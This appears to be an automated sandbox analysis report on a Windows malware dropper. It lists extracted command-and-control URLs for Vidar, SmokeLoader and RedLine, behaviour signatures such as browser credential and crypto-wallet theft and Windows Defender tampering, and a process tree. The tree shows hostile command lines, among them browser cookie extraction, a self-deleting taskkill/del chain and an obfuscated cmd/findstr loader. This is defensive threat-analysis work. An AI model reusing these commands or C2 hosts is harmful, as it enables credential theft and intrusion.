Analysis

  • max time kernel
    83s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    30-07-2021 02:26

General

  • Target

    a9049d13128ecd6f1f151527984028a7.exe

  • Size

    3.2MB

  • MD5

    a9049d13128ecd6f1f151527984028a7

  • SHA1

    d4f4c653cb783792f1cf9a97cfadc1143e556edb

  • SHA256

    2dd292dcc5d8e599d717242cb403360120308bed82e47709f6ae231202e1b0ff

  • SHA512

    410a3e91d0d0b7d177bfd15bb3dad07d48ddbe7e125ab02e83d62abdc27e6adb0bc718180e95ccf01faf8f647b3a8b4e92059bad457b35f73e55f1fdade9b46b

Malware Config

Extracted

Family

vidar

Version

39.7

Botnet

706

C2

https://shpak125.tumblr.com/

Attributes
  • profile_id

    706

Extracted

Family

smokeloader

Version

2020

C2

http://conceitosseg.com/upload/

http://integrasidata.com/upload/

http://ozentekstil.com/upload/

http://finbelportal.com/upload/

http://telanganadigital.com/upload/

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

29_7_6lk

C2

zertypelil.xyz:80

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious
  • suricata: ET MALWARE GCleaner Downloader Activity M1
  • suricata: ET MALWARE Generic Password Stealer User Agent Detected (RookIE)
  • suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)
  • suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Nirsoft 4 IoCs
  • Vidar Stealer 2 IoCs
  • ASPack v2.12-2.42 8 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 54 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 10 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 13 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Modifies registry class 15 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
    1⤵
      PID:1872
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
      1⤵
        PID:2588
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Browser
        1⤵
          PID:2712
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s WpnService
          1⤵
            PID:2804
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2788
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2536
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s SENS
            1⤵
              PID:1396
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s UserManager
              1⤵
                PID:1264
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s Themes
                1⤵
                  PID:1196
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                  1⤵
                    PID:1076
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:408
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                    1⤵
                      PID:68
                    • C:\Users\Admin\AppData\Local\Temp\a9049d13128ecd6f1f151527984028a7.exe
                      "C:\Users\Admin\AppData\Local\Temp\a9049d13128ecd6f1f151527984028a7.exe"
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:672
                      • C:\Users\Admin\AppData\Local\Temp\7zS0A29B164\setup_install.exe
                        "C:\Users\Admin\AppData\Local\Temp\7zS0A29B164\setup_install.exe"
                        2⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Suspicious use of WriteProcessMemory
                        PID:2104
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c sahiba_2.exe
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3048
                          • C:\Users\Admin\AppData\Local\Temp\7zS0A29B164\sahiba_2.exe
                            sahiba_2.exe
                            4⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Checks SCSI registry key(s)
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious behavior: MapViewOfSection
                            PID:2260
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c sahiba_1.exe
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3292
                          • C:\Users\Admin\AppData\Local\Temp\7zS0A29B164\sahiba_1.exe
                            sahiba_1.exe
                            4⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:3592
                            • C:\Users\Admin\AppData\Local\Temp\7zS0A29B164\sahiba_1.exe
                              "C:\Users\Admin\AppData\Local\Temp\7zS0A29B164\sahiba_1.exe" -a
                              5⤵
                              • Executes dropped EXE
                              PID:1960
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c sahiba_3.exe
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:776
                          • C:\Users\Admin\AppData\Local\Temp\7zS0A29B164\sahiba_3.exe
                            sahiba_3.exe
                            4⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Checks processor information in registry
                            • Suspicious behavior: EnumeratesProcesses
                            PID:3880
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c taskkill /im sahiba_3.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS0A29B164\sahiba_3.exe" & del C:\ProgramData\*.dll & exit
                              5⤵
                                PID:5124
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /im sahiba_3.exe /f
                                  6⤵
                                  • Kills process with taskkill
                                  PID:5396
                                • C:\Windows\SysWOW64\timeout.exe
                                  timeout /t 6
                                  6⤵
                                  • Delays execution with timeout.exe
                                  PID:5392
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c sahiba_4.exe
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2024
                            • C:\Users\Admin\AppData\Local\Temp\7zS0A29B164\sahiba_4.exe
                              sahiba_4.exe
                              4⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:3936
                              • C:\Users\Admin\AppData\Local\Temp\is-FF8P4.tmp\sahiba_4.tmp
                                "C:\Users\Admin\AppData\Local\Temp\is-FF8P4.tmp\sahiba_4.tmp" /SL5="$30032,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS0A29B164\sahiba_4.exe"
                                5⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                PID:1796
                                • C:\Users\Admin\AppData\Local\Temp\is-MHAR4.tmp\2rk_frt_rate_on.exe
                                  "C:\Users\Admin\AppData\Local\Temp\is-MHAR4.tmp\2rk_frt_rate_on.exe" /S /UID=sysmo8
                                  6⤵
                                  • Executes dropped EXE
                                  PID:4248
                                  • C:\Program Files\Windows Multimedia Platform\UPEKYEFUOD\SystemMonitor.exe
                                    "C:\Program Files\Windows Multimedia Platform\UPEKYEFUOD\SystemMonitor.exe" /VERYSILENT
                                    7⤵
                                      PID:5076
                                      • C:\Users\Admin\AppData\Local\Temp\is-NMB3J.tmp\SystemMonitor.tmp
                                        "C:\Users\Admin\AppData\Local\Temp\is-NMB3J.tmp\SystemMonitor.tmp" /SL5="$102D0,174792,76800,C:\Program Files\Windows Multimedia Platform\UPEKYEFUOD\SystemMonitor.exe" /VERYSILENT
                                        8⤵
                                          PID:5400
                                          • C:\Program Files (x86)\SystemMonitor\SystemMonitor.exe
                                            "C:\Program Files (x86)\SystemMonitor\SystemMonitor.exe" -silent -desktopShortcut -programMenu
                                            9⤵
                                              PID:816
                                        • C:\Users\Admin\AppData\Local\Temp\72-dcf03-7d0-d30a5-3acad52bb6ec8\Cewucaebewy.exe
                                          "C:\Users\Admin\AppData\Local\Temp\72-dcf03-7d0-d30a5-3acad52bb6ec8\Cewucaebewy.exe"
                                          7⤵
                                            PID:4336
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jqwufhld.fh2\GcleanerEU.exe /eufive & exit
                                              8⤵
                                                PID:6292
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kwoncuyf.44p\installer.exe /qn CAMPAIGN="654" & exit
                                                8⤵
                                                  PID:6624
                                                  • C:\Users\Admin\AppData\Local\Temp\kwoncuyf.44p\installer.exe
                                                    C:\Users\Admin\AppData\Local\Temp\kwoncuyf.44p\installer.exe /qn CAMPAIGN="654"
                                                    9⤵
                                                      PID:6852
                                                      • C:\Windows\SysWOW64\msiexec.exe
                                                        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\kwoncuyf.44p\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\kwoncuyf.44p\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1627360098 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                                        10⤵
                                                          PID:8184
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rxrxuoiu.smn\ebook.exe & exit
                                                      8⤵
                                                        PID:3712
                                                        • C:\Users\Admin\AppData\Local\Temp\rxrxuoiu.smn\ebook.exe
                                                          C:\Users\Admin\AppData\Local\Temp\rxrxuoiu.smn\ebook.exe
                                                          9⤵
                                                            PID:6380
                                                            • C:\Users\Admin\AppData\Local\Temp\is-6TM4V.tmp\ebook.tmp
                                                              "C:\Users\Admin\AppData\Local\Temp\is-6TM4V.tmp\ebook.tmp" /SL5="$103FC,28982256,486912,C:\Users\Admin\AppData\Local\Temp\rxrxuoiu.smn\ebook.exe"
                                                              10⤵
                                                                PID:6424
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bnlr4ojv.k1u\JoSetp.exe & exit
                                                            8⤵
                                                              PID:6812
                                                              • C:\Users\Admin\AppData\Local\Temp\bnlr4ojv.k1u\JoSetp.exe
                                                                C:\Users\Admin\AppData\Local\Temp\bnlr4ojv.k1u\JoSetp.exe
                                                                9⤵
                                                                  PID:2340
                                                                  • C:\Users\Admin\AppData\Roaming\8223725.exe
                                                                    "C:\Users\Admin\AppData\Roaming\8223725.exe"
                                                                    10⤵
                                                                      PID:6784
                                                                    • C:\Users\Admin\AppData\Roaming\4655644.exe
                                                                      "C:\Users\Admin\AppData\Roaming\4655644.exe"
                                                                      10⤵
                                                                        PID:7004
                                                                      • C:\Users\Admin\AppData\Roaming\7944794.exe
                                                                        "C:\Users\Admin\AppData\Roaming\7944794.exe"
                                                                        10⤵
                                                                          PID:6744
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\oflcttd4.zje\md6_6ydj.exe & exit
                                                                      8⤵
                                                                        PID:5504
                                                                        • C:\Users\Admin\AppData\Local\Temp\oflcttd4.zje\md6_6ydj.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\oflcttd4.zje\md6_6ydj.exe
                                                                          9⤵
                                                                            PID:7068
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\s0vyyquc.0xu\ufgaa.exe & exit
                                                                          8⤵
                                                                            PID:6176
                                                                            • C:\Users\Admin\AppData\Local\Temp\s0vyyquc.0xu\ufgaa.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\s0vyyquc.0xu\ufgaa.exe
                                                                              9⤵
                                                                                PID:1484
                                                                                • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                  C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                  10⤵
                                                                                    PID:4632
                                                                                  • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
                                                                                    10⤵
                                                                                      PID:4628
                                                                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                      10⤵
                                                                                        PID:7524
                                                                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                                                                        10⤵
                                                                                          PID:7560
                                                                                        • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                          10⤵
                                                                                            PID:7540
                                                                                          • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                                                                            10⤵
                                                                                              PID:7584
                                                                                            • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                              10⤵
                                                                                                PID:7704
                                                                                              • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                                                                                10⤵
                                                                                                  PID:7960
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ysn5pgdy.25p\2202.exe & exit
                                                                                              8⤵
                                                                                                PID:6704
                                                                                                • C:\Users\Admin\AppData\Local\Temp\ysn5pgdy.25p\2202.exe
                                                                                                  C:\Users\Admin\AppData\Local\Temp\ysn5pgdy.25p\2202.exe
                                                                                                  9⤵
                                                                                                    PID:1296
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\ysn5pgdy.25p\2202.exe
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\ysn5pgdy.25p\2202.exe" -a
                                                                                                      10⤵
                                                                                                        PID:5532
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\al2jho3m.wuw\SPOILER_.exe & exit
                                                                                                    8⤵
                                                                                                      PID:7108
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\al2jho3m.wuw\SPOILER_.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\al2jho3m.wuw\SPOILER_.exe
                                                                                                        9⤵
                                                                                                          PID:6184
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c cmd < Vedrei.jar
                                                                                                            10⤵
                                                                                                              PID:6636
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                cmd
                                                                                                                11⤵
                                                                                                                  PID:2844
                                                                                                                  • C:\Windows\SysWOW64\findstr.exe
                                                                                                                    findstr /V /R "^TvDNxkTHNPhDVtbGlizRibXOirOUSPkjlRfWzTaCXCCWENaFQfomEzKcmOGsbZPYEwarOAhdPQUFUqpzLotCGLHRiTvEhwyYNEaCcgQfeSKNmyAmEjFfVjaSzAWUtIeOLVRdHHYvsOA$" Chiamando.jar
                                                                                                                    12⤵
                                                                                                                      PID:5464
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Scegliendo.exe.com
                                                                                                                      Scegliendo.exe.com r
                                                                                                                      12⤵
                                                                                                                        PID:5368
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Scegliendo.exe.com
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Scegliendo.exe.com r
                                                                                                                          13⤵
                                                                                                                            PID:2068
                                                                                                                        • C:\Windows\SysWOW64\PING.EXE
                                                                                                                          ping GFBFPSXA -n 30
                                                                                                                          12⤵
                                                                                                                          • Runs ping.exe
                                                                                                                          PID:6584
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\3c-a69ad-c5c-76a9a-d32f4fe156389\Haesymoxyro.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\3c-a69ad-c5c-76a9a-d32f4fe156389\Haesymoxyro.exe"
                                                                                                                7⤵
                                                                                                                  PID:6116
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c sahiba_5.exe
                                                                                                          3⤵
                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                          PID:1424
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS0A29B164\sahiba_5.exe
                                                                                                            sahiba_5.exe
                                                                                                            4⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:3864
                                                                                                            • C:\Users\Admin\AppData\Roaming\2680875.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\2680875.exe"
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:4280
                                                                                                              • C:\Windows\system32\WerFault.exe
                                                                                                                C:\Windows\system32\WerFault.exe -u -p 4280 -s 1892
                                                                                                                6⤵
                                                                                                                • Program crash
                                                                                                                PID:5316
                                                                                                            • C:\Users\Admin\AppData\Roaming\5970026.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\5970026.exe"
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Adds Run key to start application
                                                                                                              PID:4324
                                                                                                              • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                                                                "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                                                                6⤵
                                                                                                                • Executes dropped EXE
                                                                                                                PID:4968
                                                                                                            • C:\Users\Admin\AppData\Roaming\1956818.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\1956818.exe"
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:4372
                                                                                                            • C:\Users\Admin\AppData\Roaming\1677886.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\1677886.exe"
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of SetThreadContext
                                                                                                              PID:4456
                                                                                                              • C:\Users\Admin\AppData\Roaming\1677886.exe
                                                                                                                C:\Users\Admin\AppData\Roaming\1677886.exe
                                                                                                                6⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:4232
                                                                                                            • C:\Users\Admin\AppData\Roaming\7226156.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\7226156.exe"
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:4524
                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 2036
                                                                                                                6⤵
                                                                                                                • Program crash
                                                                                                                PID:5896
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c sahiba_6.exe
                                                                                                          3⤵
                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                          PID:2128
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS0A29B164\sahiba_6.exe
                                                                                                            sahiba_6.exe
                                                                                                            4⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Checks computer location settings
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:4056
                                                                                                            • C:\Users\Admin\Documents\8mAgUX4GWmdZZHrSnIGHgwZn.exe
                                                                                                              "C:\Users\Admin\Documents\8mAgUX4GWmdZZHrSnIGHgwZn.exe"
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:4256
                                                                                                              • C:\Users\Admin\Documents\8mAgUX4GWmdZZHrSnIGHgwZn.exe
                                                                                                                "C:\Users\Admin\Documents\8mAgUX4GWmdZZHrSnIGHgwZn.exe"
                                                                                                                6⤵
                                                                                                                  PID:5680
                                                                                                                • C:\Users\Admin\Documents\8mAgUX4GWmdZZHrSnIGHgwZn.exe
                                                                                                                  "C:\Users\Admin\Documents\8mAgUX4GWmdZZHrSnIGHgwZn.exe"
                                                                                                                  6⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:4132
                                                                                                              • C:\Users\Admin\Documents\CFZWUsg9uqr8_UnAXk9VBgSM.exe
                                                                                                                "C:\Users\Admin\Documents\CFZWUsg9uqr8_UnAXk9VBgSM.exe"
                                                                                                                5⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                PID:4144
                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                                                                                                                  6⤵
                                                                                                                    PID:4492
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 248
                                                                                                                    6⤵
                                                                                                                    • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                    • Program crash
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:4536
                                                                                                                • C:\Users\Admin\Documents\JPFLaZ_yXSnkNIiZlS8KDx69.exe
                                                                                                                  "C:\Users\Admin\Documents\JPFLaZ_yXSnkNIiZlS8KDx69.exe"
                                                                                                                  5⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                  PID:4328
                                                                                                                  • C:\Users\Admin\Documents\JPFLaZ_yXSnkNIiZlS8KDx69.exe
                                                                                                                    C:\Users\Admin\Documents\JPFLaZ_yXSnkNIiZlS8KDx69.exe
                                                                                                                    6⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:4460
                                                                                                                • C:\Users\Admin\Documents\uQqw15Xw0T141fGw7yVgNz1n.exe
                                                                                                                  "C:\Users\Admin\Documents\uQqw15Xw0T141fGw7yVgNz1n.exe"
                                                                                                                  5⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:4980
                                                                                                                • C:\Users\Admin\Documents\9zVB5YQbBVd9qRx55zjPtHBO.exe
                                                                                                                  "C:\Users\Admin\Documents\9zVB5YQbBVd9qRx55zjPtHBO.exe"
                                                                                                                  5⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                  PID:3192
                                                                                                                  • C:\Users\Admin\Documents\9zVB5YQbBVd9qRx55zjPtHBO.exe
                                                                                                                    "C:\Users\Admin\Documents\9zVB5YQbBVd9qRx55zjPtHBO.exe"
                                                                                                                    6⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Checks SCSI registry key(s)
                                                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                                                    PID:1188
                                                                                                                • C:\Users\Admin\Documents\gd5RQWyaMxwZVYZv6RHlqGby.exe
                                                                                                                  "C:\Users\Admin\Documents\gd5RQWyaMxwZVYZv6RHlqGby.exe"
                                                                                                                  5⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  PID:4788
                                                                                                                  • C:\Users\Admin\Documents\gd5RQWyaMxwZVYZv6RHlqGby.exe
                                                                                                                    "C:\Users\Admin\Documents\gd5RQWyaMxwZVYZv6RHlqGby.exe"
                                                                                                                    6⤵
                                                                                                                      PID:6984
                                                                                                                  • C:\Users\Admin\Documents\IZDwfn8I8RWN4BCncoUaWns5.exe
                                                                                                                    "C:\Users\Admin\Documents\IZDwfn8I8RWN4BCncoUaWns5.exe"
                                                                                                                    5⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:4288
                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                      6⤵
                                                                                                                        PID:7352
                                                                                                                    • C:\Users\Admin\Documents\6osGX_IIE6IBEhEqBh2eKgzl.exe
                                                                                                                      "C:\Users\Admin\Documents\6osGX_IIE6IBEhEqBh2eKgzl.exe"
                                                                                                                      5⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      PID:4172
                                                                                                                      • C:\Users\Admin\Documents\6osGX_IIE6IBEhEqBh2eKgzl.exe
                                                                                                                        "C:\Users\Admin\Documents\6osGX_IIE6IBEhEqBh2eKgzl.exe"
                                                                                                                        6⤵
                                                                                                                          PID:2388
                                                                                                                      • C:\Users\Admin\Documents\aY4zQUPjDYvg3qzEgRG7cAba.exe
                                                                                                                        "C:\Users\Admin\Documents\aY4zQUPjDYvg3qzEgRG7cAba.exe"
                                                                                                                        5⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:4004
                                                                                                                        • C:\Users\Admin\Documents\aY4zQUPjDYvg3qzEgRG7cAba.exe
                                                                                                                          "C:\Users\Admin\Documents\aY4zQUPjDYvg3qzEgRG7cAba.exe"
                                                                                                                          6⤵
                                                                                                                            PID:7476
